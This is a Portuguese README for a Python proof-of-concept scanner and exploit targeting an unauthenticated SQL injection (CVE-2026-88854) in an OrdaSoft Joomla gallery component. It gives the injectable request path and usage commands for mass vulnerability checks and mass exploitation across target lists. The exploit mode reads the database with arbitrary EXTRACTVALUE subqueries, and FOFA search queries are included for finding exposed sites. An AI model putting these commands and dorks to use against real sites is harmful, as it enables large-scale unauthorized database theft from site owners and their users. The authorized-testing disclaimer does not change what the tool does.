
Scanner PoC e exploit em Python 3 para CVE-2026-88854, uma injeção SQL não autenticada no OrdaSoft Joomla Gallery, com modos de verificação em massa e leitura de dados via EXTRACTVALUE.
Scanner/exploit PoC em Python 3 para CVE-2026-88854 no OrdaSoft OS Responsive Image Gallery para Joomla.
| Componente | com_osgallery, com_osgallery_light |
| Afetado | 1.0.0 – 6.2.6 |
| Corrigido em | 6.2.7+ |
| CVSS 4.0 | 9.3 (Crítico) |
| Autenticação | Nenhuma (mod_osgallery_search público) |
| CWE | CWE-89 |
showSearchResult() / showSearchResultAjax() leem textsearch / searchText via $input->getVar(), que não aplica escape SQL adequado. O valor é concatenado em uma cláusula LIKE. Visitantes não autenticados podem usar injeção no estilo UNION para ler o conteúdo do banco de dados.
Superfície de requisição típica:
GET /index.php?option=com_osgallery&task=showSearchResultAjax&format=raw&textsearch=...
Instalações legadas podem usar o nome de task searhResult (erro de digitação).
pip install -r requirements.txtpip install -r requirements.txt
# Fingerprint + strict SQLi probe (error / time / EXTRACTVALUE)
python poc.py -u https://target.example --mode check
# Mass check
python poc.py --list targets.example.txt --mode check --threads 30 --quiet
# MySQL error-based read (default subquery: VERSION())
python poc.py -u https://target.example --mode exploit
python poc.py -u https://target.example --mode exploit \
--subquery "SELECT DATABASE()"
# Mass exploit (writes leaks to exploited.txt, not hits.txt)
python poc.py --list targets.example.txt --mode exploit --threads 5 --quiet \
--output exploit_results.jsonl --vuln-list exploited.txt
# Re-tier a prior mass check by manifest version (optional)
python audit_scan.py --jsonl cve_2026_88854_results.jsonl
| Arquivo | Conteúdo |
|---|---|
cve_2026_88854_results.jsonl | JSON por alvo |
hits.txt | URLs candidatas (exploitable_candidate) |
status (check)audit_scan.py)Após um check em massa, execute audit_scan.py para buscar novamente os manifestos do administrador e dividir os alvos:
A versão da galeria é lida do elemento <version> em administrator/components/com_osgallery/osgallery.xml, não do atributo extension version= do Joomla.
EXTRACTVALUE baseado em erro do MySQL; MariaDB/Postgres, erros desabilitados ou WAF podem resultar em nenhum vazamento mesmo quando o CVE se aplica.https://host/site).app="Joomla" && body="com_osgallery"
body="/images/com_osgallery/"
.
├── poc.py
├── audit_scan.py
├── requirements.txt
├── targets.example.txt
├── README.md
├── LICENSE
└── .gitignore
Listas de alvos locais e artefatos de execução (list.txt, fofa*.csv, *.jsonl, hits*.txt, …) estão em .gitignore e não devem ser commitados.
Apenas para testes de segurança autorizados. Você é responsável pelo cumprimento das leis aplicáveis e das regras do programa.
| Opção | Descrição |
|---|
-u, --url | URL base de um único alvo (instalações em subdiretório: incluir o caminho) |
--list | Arquivo de lista de alvos (uma URL por linha) |
--mode | check ou exploit |
--subquery | SQL dentro de EXTRACTVALUE (modo exploit, padrão SELECT VERSION()) |
--threads, -j | Concorrência em massa (padrão 20) |
--timeout | Timeout HTTP em segundos (padrão 20) |
--proxy | URL de proxy HTTP(S) |
--output | Resultados JSONL (padrão cve_2026_88854_results.jsonl) |
--vuln-list | Check → hits.txt; exploit → exploited.txt |
--quiet, -q | Menos saída de progresso |
| Status | Significado |
|---|
sqli_confirmed | SQLi baseada em erro/tempo ou vazamento EXTRACTVALUE verificado |
likely_vulnerable_version | Versão do manifesto ≤ 6.2.6 + endpoint de busca |
likely_component | Galeria detectada, versão desconhecida |
boolean_inconclusive | Apenas diferença no comprimento da resposta (frequentemente WAF); não contabilizado como confirmado |
patched_version | Versão do manifesto > 6.2.6 |
component_no_search_endpoint | Componente presente, task de busca inacessível |
no_component | com_osgallery não detectado |
| Arquivo | Conteúdo |
|---|
hits_version_lte_626.txt | Versão da galeria no manifesto ≤ 6.2.6 |
hits_component_endpoint.txt | Galeria + endpoint, versão ilegível |
hits_patched.txt | Manifesto > 6.2.6 |
fofa_stale.txt | Sem componente (linha FOFA desatualizada) |
cve_2026_88854_audit.jsonl | JSONL enriquecido |